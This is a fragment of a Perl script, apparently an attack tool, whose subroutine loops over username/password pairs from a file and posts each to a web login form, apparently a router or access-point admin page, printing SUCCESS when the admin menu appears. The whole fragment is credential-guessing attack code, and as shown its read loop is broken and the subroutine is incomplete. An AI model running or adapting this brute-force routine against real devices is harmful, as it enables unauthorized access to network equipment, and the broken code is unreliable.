sub loginweb{ my $url = shift; my $postdata = shift; my $username; my $password; open PASSLIST, "appasswd.txt" or die $!; while (){ $username = (split / === /, $_)[0]; $password = (split / === /, $_)[1]; chomp ($username, $password); print "\nTrying username: \'$username\' password: \'$password\'"; $$postdata{'login:command/username'} = ($username eq '')?'':$username; $$postdata{'login:command/password'} = ($password eq '')?'':$password; my $res = $ua->request(POST $url, $postdata); if ($res->content =~ /Basic\s+Home\s+Menu/){ print " SUCCESS!!!\n"; return 'success'; }else{ next; } }